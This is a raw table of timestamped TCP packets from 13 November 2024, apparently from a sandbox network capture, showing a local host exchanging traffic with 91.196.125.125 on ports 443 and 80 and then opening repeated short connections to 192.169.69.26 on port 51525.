Nov 13, 2024 08:18:55.922261000 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.975267887 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.975342989 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.018520117 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.018641949 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.046068907 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.046149969 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.141916037 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.141984940 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.171228886 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.171340942 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.265331984 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.265388012 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.292470932 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.292538881 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.387743950 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.387804031 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.415627003 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.415693045 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.469228983 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.469283104 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.512208939 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.512273073 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.539532900 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.539612055 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.592608929 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.592665911 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.667123079 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.667213917 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.715998888 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.716072083 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.757735968 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.757810116 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.785923958 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.785984993 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.839333057 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.839406013 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.882122993 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.882180929 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.909636021 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.909708023 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:56.962663889 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:56.962732077 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.005472898 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.005644083 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.033010960 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.033082008 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.086112022 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.086174011 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.128801107 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.128870964 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.156230927 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.156311989 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.157435894 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.157495975 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.251497030 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.251609087 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.280462980 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.280534983 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.280914068 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.280972004 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.333096027 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.333234072 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.377141953 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.377273083 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.404226065 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.404306889 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.456294060 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.456357002 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.457084894 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.457134962 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.527352095 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.527435064 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.527689934 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.527748108 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.579773903 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.579864025 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.621635914 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.621715069 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.650749922 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.650836945 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.651526928 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.651578903 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.703351021 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.703444004 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.748083115 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.748171091 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.774105072 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.774188995 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.774733067 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.774796963 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.826714993 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.826792002 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.869306087 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.869368076 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.871699095 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.871757030 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.897975922 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.898062944 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.949940920 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.950165033 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.950530052 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.950601101 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:57.994698048 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:57.994785070 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.021156073 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:58.021229982 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.021785975 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:58.021838903 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:58.021842957 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.021879911 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.022094965 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.022109985 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:58.022119999 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:58.022154093 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:59.167421103 CET	80	49736	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:59.167483091 CET	49736	80	192.168.2.4	91.196.125.125
Nov 13, 2024 08:19:02.419867992 CET	49755	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:02.424712896 CET	51525	49755	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:02.424778938 CET	49755	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:02.428972006 CET	49755	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:02.433768988 CET	51525	49755	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:03.195411921 CET	51525	49755	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:03.195467949 CET	49755	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:03.196433067 CET	49755	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:03.201226950 CET	51525	49755	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:03.301989079 CET	49760	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:03.306837082 CET	51525	49760	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:03.306911945 CET	49760	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:03.345501900 CET	49760	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:03.350277901 CET	51525	49760	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.049333096 CET	51525	49760	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.049443007 CET	49760	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.049685955 CET	49760	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.054409981 CET	51525	49760	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.158756018 CET	49765	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.163542986 CET	51525	49765	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.163619041 CET	49765	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.167824030 CET	49765	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.172593117 CET	51525	49765	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.926244020 CET	51525	49765	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:04.926316023 CET	49765	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.927100897 CET	49765	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:04.931904078 CET	51525	49765	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:05.990813017 CET	49776	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:05.995595932 CET	51525	49776	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:05.995661020 CET	49776	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.005196095 CET	49776	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.010023117 CET	51525	49776	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:06.827687025 CET	51525	49776	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:06.827743053 CET	49776	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.828500032 CET	49776	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.829818964 CET	49782	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.833256960 CET	51525	49776	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:06.834728003 CET	51525	49782	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:06.834788084 CET	49782	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.835426092 CET	49782	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:06.840291023 CET	51525	49782	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:07.617086887 CET	51525	49782	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:07.617146015 CET	49782	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:07.617407084 CET	49782	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:07.618957996 CET	49784	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:07.622159004 CET	51525	49782	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:07.624305964 CET	51525	49784	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:07.624397039 CET	49784	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:07.628257990 CET	49784	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:07.633049011 CET	51525	49784	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:08.401027918 CET	51525	49784	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:08.401107073 CET	49784	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:08.401911974 CET	49784	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:08.407064915 CET	51525	49784	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:09.500380993 CET	49799	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:09.505264997 CET	51525	49799	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:09.505356073 CET	49799	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:09.512254953 CET	49799	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:09.517322063 CET	51525	49799	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:10.382827997 CET	51525	49799	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:10.382921934 CET	49799	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:10.383708000 CET	49799	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:10.385118008 CET	49805	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:10.388564110 CET	51525	49799	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:10.390006065 CET	51525	49805	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:10.390078068 CET	49805	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:10.391282082 CET	49805	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:10.396090031 CET	51525	49805	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.154139042 CET	51525	49805	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.154472113 CET	49805	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.154928923 CET	49805	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.157624960 CET	49810	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.159663916 CET	51525	49805	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.162437916 CET	51525	49810	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.163563013 CET	49810	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.167706013 CET	49810	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.172508955 CET	51525	49810	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.936098099 CET	51525	49810	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:11.936170101 CET	49810	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.936867952 CET	49810	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:11.941840887 CET	51525	49810	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:12.954790115 CET	49822	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:12.966897964 CET	51525	49822	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:12.966965914 CET	49822	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:12.974560976 CET	49822	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:12.979392052 CET	51525	49822	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:13.772062063 CET	51525	49822	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:13.772123098 CET	49822	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:13.772789001 CET	49822	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:13.774729013 CET	49825	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:13.777611971 CET	51525	49822	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:13.779771090 CET	51525	49825	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:13.779853106 CET	49825	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:13.781011105 CET	49825	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:13.785810947 CET	51525	49825	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:14.567677021 CET	51525	49825	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:14.567754984 CET	49825	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:14.568106890 CET	49825	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:14.569592953 CET	49830	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:14.572916985 CET	51525	49825	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:14.574398041 CET	51525	49830	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:14.574460983 CET	49830	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:14.580108881 CET	49830	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:14.584989071 CET	51525	49830	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:15.348989010 CET	51525	49830	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:15.349073887 CET	49830	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:15.349971056 CET	49830	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:15.357858896 CET	51525	49830	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:16.359754086 CET	49842	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:16.364691973 CET	51525	49842	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:16.364764929 CET	49842	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:16.369019032 CET	49842	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:16.373867989 CET	51525	49842	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:17.218873024 CET	51525	49842	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:17.218929052 CET	49842	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:17.219755888 CET	49842	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:17.221173048 CET	49847	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:17.224541903 CET	51525	49842	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:17.226067066 CET	51525	49847	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:17.226128101 CET	49847	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:17.226763010 CET	49847	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:17.231617928 CET	51525	49847	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.031869888 CET	51525	49847	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.031925917 CET	49847	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.032216072 CET	49847	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.034156084 CET	49853	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.039808035 CET	51525	49847	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.040416002 CET	51525	49853	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.040477037 CET	49853	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.046423912 CET	49853	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.052608013 CET	51525	49853	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.829129934 CET	51525	49853	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:18.829600096 CET	49853	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.830272913 CET	49853	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:18.835083961 CET	51525	49853	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:19.843691111 CET	49865	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:19.848468065 CET	51525	49865	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:19.848546028 CET	49865	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:19.852495909 CET	49865	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:19.857399940 CET	51525	49865	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:20.612679005 CET	51525	49865	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:20.612797022 CET	49865	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:20.613429070 CET	49865	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:20.614768028 CET	49870	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:20.618277073 CET	51525	49865	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:20.619534016 CET	51525	49870	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:20.619610071 CET	49870	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:20.620210886 CET	49870	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:20.625137091 CET	51525	49870	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:21.461872101 CET	51525	49870	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:21.462013006 CET	49870	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:21.462418079 CET	49870	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:21.463927031 CET	49876	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:21.467178106 CET	51525	49870	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:21.468729019 CET	51525	49876	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:21.468787909 CET	49876	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:21.472850084 CET	49876	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:21.477632999 CET	51525	49876	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:22.252996922 CET	51525	49876	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:22.253067970 CET	49876	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:22.253698111 CET	49876	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:22.258491993 CET	51525	49876	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:23.266222954 CET	49887	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:23.271171093 CET	51525	49887	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:23.271245956 CET	49887	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:23.276070118 CET	49887	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:23.281322002 CET	51525	49887	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.028208971 CET	51525	49887	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.028265953 CET	49887	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.028934956 CET	49887	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.030288935 CET	49893	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.033680916 CET	51525	49887	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.035125017 CET	51525	49893	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.035181999 CET	49893	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.036166906 CET	49893	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.041047096 CET	51525	49893	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.794394016 CET	51525	49893	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.795697927 CET	49893	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.795823097 CET	49893	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.797218084 CET	49899	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.801063061 CET	51525	49893	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.802819967 CET	51525	49899	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:24.803220987 CET	49899	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.807600021 CET	49899	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:24.812587023 CET	51525	49899	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:25.653285980 CET	51525	49899	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:25.653490067 CET	49899	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:25.654021978 CET	49899	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:25.658761978 CET	51525	49899	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:26.657538891 CET	49910	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:26.662336111 CET	51525	49910	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:26.662417889 CET	49910	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:26.666672945 CET	49910	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:26.671468973 CET	51525	49910	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:27.445420027 CET	51525	49910	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:27.445483923 CET	49910	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:27.446157932 CET	49910	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:27.447666883 CET	49916	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:27.452018976 CET	51525	49910	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:27.453206062 CET	51525	49916	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:27.453272104 CET	49916	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:27.454453945 CET	49916	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:27.459191084 CET	51525	49916	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:28.316838980 CET	51525	49916	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:28.316909075 CET	49916	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:28.317120075 CET	49916	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:28.318517923 CET	49922	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:28.322021961 CET	51525	49916	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:28.323368073 CET	51525	49922	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:28.325628996 CET	49922	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:28.329766035 CET	49922	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:28.334579945 CET	51525	49922	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:29.114708900 CET	51525	49922	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:29.114784956 CET	49922	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:29.116113901 CET	49922	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:29.120901108 CET	51525	49922	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:30.124921083 CET	49933	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.130000114 CET	51525	49933	192.169.69.26	192.168.2.4
